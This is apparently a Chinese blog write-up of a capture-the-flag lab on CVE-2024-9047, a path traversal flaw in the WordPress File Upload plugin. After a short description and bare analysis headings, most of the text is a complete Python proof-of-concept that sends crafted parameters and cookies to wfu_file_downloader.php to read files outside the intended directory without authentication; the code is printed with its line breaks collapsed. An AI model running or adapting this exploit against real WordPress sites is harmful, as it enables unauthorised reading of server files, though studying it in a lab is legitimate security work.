【春秋云镜】CVE-2024-9047 Wordpress File Upload 插件 文件遍历漏洞
一、靶场介绍
WordPress 的 File Upload 插件在所有版本(包括 4.24.11)中都存在路径遍历漏洞,漏洞位于 wfu_file_downloader.php
文件中。这使得未经身份验证的攻击者可以读取或删除超出原定目录之外的文件。
漏洞分析
调用函数 wfu_fopen_for_downloader
这里调用了wfu_fopen_for_downloader
这两个地方也调用了
寻找参数的传入位置
二、POC
import requests
import time
import argparsedef exploit(target_url):timestamp = str(int(time.time()))path = "/wp-content/plugins/wp-file-upload/wfu_file_downloader.php"query_params = {'file': 'yosheep','handler': 'dboption','session_legacy': '1','dboption_base': 'cookies','dboption_useold': '1','wfu_cookie': '1','ticket': 'yosheep'}cookies = {f'wfu_storage_yosheep': '/../../../../../../flag',f'wfu_download_ticket_yosheep': timestamp,'wfu_ABSPATH': '/var/www/html/'}headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",}try:response = requests.get(f"{target_url.rstrip('/')}{path}",params=query_params,cookies=cookies,headers=headers,timeout=10)response.raise_for_status()return response.textexcept requests.exceptions.RequestException as e:return f"请求失败: {str(e)}"
def main():parser = argparse.ArgumentParser(description='CVE-2024-9047漏洞利用工具')parser.add_argument('url', help='目标URL(包含协议,如http://example.com)')args = parser.parse_args()result = exploit(args.url)print(f"结果返回:\n{result}")if __name__ == '__main__':main()
获取flag
最后也没看明白为什么传入地方时cookie,可能是在函数处理时对cookie的值进行引入了。
感兴趣的可以看这个位博主的文章:
(CVE-2024-9047)wordpress插件wp-file-upload任意文件读取分析及复现(含payload)